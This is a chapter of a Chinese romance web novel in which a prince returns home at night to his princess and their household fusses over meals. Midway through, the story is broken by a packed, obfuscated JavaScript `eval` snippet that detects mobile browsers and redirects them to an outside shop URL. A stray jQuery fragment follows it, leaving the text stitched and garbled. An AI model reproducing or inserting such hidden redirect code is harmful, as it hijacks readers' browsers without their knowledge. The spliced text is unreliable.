回到兵营,周六添油加醋将王妃受慕的话说出,不过因为周六是个直性子,又是没结过婚的,越说越离谱。
“王爷,你都不知道,那些人已经冲到王府里面了。属下回去的时候,有七八个……不,有十来个男人坐在中厅里,挨个自我介绍、亮金亮银,王妃看得两眼直发光。”
宋晋和淡淡翻过一页书。
“最可恶的是,有一个长相稍好的男子,竟然要和王妃共进晚膳!王爷啊,我们可不能在这再待下去了,再……再待下去,王妃都没了。”
“你不是一直不喜她?”宋晋和静静抬眸,“现在怎么帮着她说话?”
“啊?也没有不喜欢。是稍微对虞国人有那么一点偏见。”周六不好意思的抓抓后脑勺,除了燕国人,他看谁都是敌人,“可王妃和我想的不一样,她是真心为你好,也为王府好,她是把王府当家的。”
“家?”宋晋和眸里疑惑。
“是啊,属下进院子的时候,看到后院移栽的梅树都已经冒花骨朵了,很是漂亮。”
王府后院开梅花?宋晋和心尖微痒,他大概想象得出这场面。
她一向喜爱摆弄漂亮玩意,且能做的好看,大概是穿着红衣斗篷,笑意盈盈的看着枝头梅花,打算采下来怎么做胭脂,又或者算计着煮酒熬汤。
看出宋晋和眉眼缓和,守在一旁的元德公公也适时走上来哈腰,“王爷,老奴刚才才知道,万亲王亲自上门送礼,而且还留在王府喝了一盏茶,随后又和王妃一同入宫,拜见太后。”
宋晋和原本舒展的面容倏地皱起,他微眯着眼,“宋嘉钰在王府喝茶?喝什么茶?”
元德公公适时装傻,“这老奴不得而知,只听说王妃热情款待,礼数周全,很给我们王府长脸。”
“呵。”宋晋和鼻腔哼一声,“还一起进宫,满洛城是没别人了,把主意打到我的王妃头上。”
宋晋和摔下书卷,黑沉着眼眸。
“周六,备车回府。”
话落,帐篷里所有人都舒一口气,周六虽喜兵营,但不愿王爷日日在这受苦;元德公公虽识大体,但一把老骨头实在受不了兵营纪律。
当然,最开心的就是长福,他缩在角落,咬着舌根不让自己笑得太明显。
‘终于能回去了,终于能回去了,冬娘的美食,王府的软榻,还有王妃时常打赏的银两,终于又要见面了……’
他在心里暗喜着,忙跑出去准备套车。
然而车马套好后,天色已黑,冬日天干地冻,再加上南郊与王府一南一北,几乎横跨洛城,距离实在太远。
长福吸口气,进帐询问,“王爷,天色已晚,现在回府有些不安全,要不还是明日……”
虽然他恨不得立马插翅膀回家,但天黑路滑的,还是王爷的命比较重要。
往日早已休息的人今日端端正正坐在轮椅上,衣服丝毫没有褶皱,淡淡看着,“不用,直接回。”
恭亲王府。烛火亮到快子时,还没有前院的消息传来。
冬娘吸口气,将秦亿云手中发梳抢下,“公主,即便王爷车马不停的赶,回来也要后半夜了,您还是早些休息吧。”
“明日才能见到。”秦亿云捏着肩头一缕长发。
从用完晚膳,她就一直在等,喝茶等,看话本等,甚至沐浴护肤的时候她都在等。
虽说宋晋和脾性不好易冷脸,但毕竟是自己的夫君,而且两人已经同床共枕这么多天,依赖和思念是止不住的。
“是啊,而且天黑路滑,那边应该也不会夜里赶路。公主还是早些睡吧,睡醒就能见到了。”
冬娘认真劝着,秦亿云也听得进去,点了点头,让她扶自己上榻。
冬夜寒风凛凛,屋内炉火中烧。不光秦亿云睡着了,甚至外间守着的丫鬟,也在磕磕绊绊打盹。
突然,一道熟悉的身影出现在眼前,翠绿色衣服丫鬟熟练的跪下,“奴婢见过王爷。”
“嗯,起来吧。”
“谢王爷。”她昏昏沉沉的站起身,正准备退到位置,脚后跟不小心踩到裙子,扯得后背僵了一下。
不能吧?!
梦里还有感觉?
丫鬟又咬一下舌尖,发现疼得厉害,浑身的瞌睡瞬间惊醒!
王爷……王爷回来了?!是王爷回来了?!!!
半夜三更的,王爷就像劫匪一样闯回来了?!!!
丫鬟惊得差点喊出来,然而看到王爷自己进门都要轻轻缓缓的模样,生生咽了下去。
里间。秦亿云在榻上睡着,一双眼睫颤颤巍巍。许是心里一直念着人,她睡得很不踏实。
然而睡着睡着,熟悉的气息包裹了她,将她搂在怀里,一如两人亲密时一样。
随后,唇瓣被人噙住,咬了咬,又吸了几口。
“王爷……”她皱眉呜咽出声,不知是做梦还是真看到了,一睁眼居然见宋晋和就在面前。
她往他怀里钻得更厉害了些,蹭着往他胸口跑,两手牢牢拥着他,“我以为你不回来了呢,把我一个人丢在王府,你也放心……”
“不放心,所以才藏到王府,可没想到即便在王府,还有人上门找你。”
今天的吻不似之前,没带一丝情欲,只是轻轻吻着,一下又一下,像标记似的,将她口中都染上他的气息……
秦亿云是第二日辰时醒的,她一睁眼,就看到宋晋和躺在身边,心里才明白过来。
“我还以为你不回来了呢。”秦亿云手指在他胸口戳了戳,嘴角笑容收不住。
“别动。”宋晋和虽睡着,但许是天色已亮,多年的生物钟让他睡不踏实,可快天明才躺下,他又实在困得紧。
秦亿云福至心灵,知道他累,便真的不动了,只静静待在他怀里,感受他的温度气息。
半个时辰后,冬娘见屋子里还没动静,趴在门口听了听。
不应该啊,就算王爷没醒,公主也该醒了,往日都是这时辰。锅上的白玉鱼羹已经好了,再炖可就烂了。
然而秦亿云不起,她也真不能进屋去喊,毕竟谁都知道,两人分别几日,此时正是缠绵的时刻。
厨房陶罐‘咕嘟咕嘟’冒着热气,滚烫的汤汁不停将罐盖顶起来,露出白嫩鱼肉和鲜红枸杞。再加上时不时飘出来的香气,长福馋得直咽口水。
“冬娘,王爷和王妃不起,要不然这一锅我们分了吧,待他们醒来,我去恩御阁给他们买早点。”
冬娘剜他一眼,知道这小子一大早站在这就是盯上她的浓汤。
而长福也丝毫不避讳,直当当的卖惨,“冬娘,兵营里都是腌菜腊肉,吃了几天我胃里都倒酸水,你就让我吃点好的吧,我每日最惦记你这口汤了。”
冬娘吸气。
“我不会一个人偷吃的,我给师父、周六,还有全院一起分,一人喝一盏,让大家都暖和暖和。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058447|194936||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冬娘起了个大早,炖汤炖了足足一个半时辰,本来要给秦亿云补身子的,但她现在不起,汤也不能再炖了,无奈只得作罢,抬抬下巴让长福去舀了。
长福乐得直嘿嘿,今早有樱桃煎,又有白玉鱼羹,比起前几日,简直是仙粮!
由是,在两位主子起床之前,全院都吃了个大饱,而主子起床后,就没有这么好的汤了。
当然,谁都没说。毕竟饭桌上,火腿莲子豆腐羹,琼叶糕以及喜饼都在。
宋晋和看着一桌子与之前又不同的美食,眉眼动了动。
“这又是哪的吃食?”
“冬娘自己研究的。”秦亿云含笑说着,将火腿莲子豆腐羹给他盛了一碗,“燕国虽不这么吃,但我让婢女们试过了,她们都说好吃,王爷不若也尝尝?”
宋晋和点头,浅浅喝了一口。
清甜不腻,裹着浓浓汤料,确实鲜美至极。
“好喝吗?”秦亿云坐在他身边,亮眼观察他的反应。虽心里有了答案,但还是想听他亲口说出来。
“嗯,早膳没吃,多喝点暖胃。”
说罢,他的汤勺递到她嘴边。
冬娘瞳孔张了一瞬,长福瞪直了眼,甚至秦亿云,都愣了两秒。
宋晋和有不与人同食的毛病,甚至他的碗筷,都要单独清洗存放,这点她从刚进王府就知道,甚至有意避讳着。
眼下要她用他的勺子?
秦亿云抬了抬眉,眼睛扫一圈,看着他的勺子,含笑推拒,“王爷喜净,我重新盛一盏就是。”
宋晋和投喂的动作僵在原地,冬娘眉眼微动,只有长福,将叹息、恨铁不成钢明晃晃表现了出来。
‘哎呀——’
屋内本就寂静,他这一声叹,让宋晋和面上更挂不住,斜着瞥他一眼。
这下,长福缩着脑袋不敢出声了,只是心里,一个劲的嘀咕,多好的机会,王妃怎么就把握不住呢。王爷不轻易与人同食,如此这般,定是把她放在了心尖上。
秦亿云大概猜得到原因,又有元德公公撮合,宋晋和想欢好的心思明晃晃写在脸上。
可这两日,她偏偏不让他如愿。
白日他进屋她出门,夜里熄灯她转身,人在眼前,在怀里,可就是亲不了碰不了,勾得宋晋和直上火。
冬娘笑看两人打闹,终于忍不住在两天后早晨为她梳妆时劝慰,“夫妻小打小闹是情趣,可闹多了难免记仇,公主可莫要玩脱了。”
秦亿云含笑,咬一口酒酿圆子,“我都记着,今年事今年毕,可没想等到来年。”
一听这话,冬娘便知道今夜又要守一夜了。
虽说这两日公主不让碰,但私底下,已经让她偷偷去成衣坊定做了一小衣,那模样款式……咳……都不敢睁开眼瞧……
许是布料少,又或者给的银子实在足,都没等到今天,昨天夜里店家就偷偷将衣服送来了,而且躲着人鬼鬼祟祟的,不知道的还以为做贼。
秦亿云透过铜镜瞧见冬娘反应,挑眉,“冬娘你这是什么表情?当初父皇和母后不也如此?”
“皇后何曾如此,都是陛下……”刚说一半,冬娘止住了,随后别开眼再不肯对视,“女德女戒,公主还是没记住。”
“记住又如何?左右不是教栓住男人,我有我的法子,冬娘你就瞧好吧。”
说着,她绾好头发起身,提着另一盏酒酿圆子出门,“王爷在书房是吧?”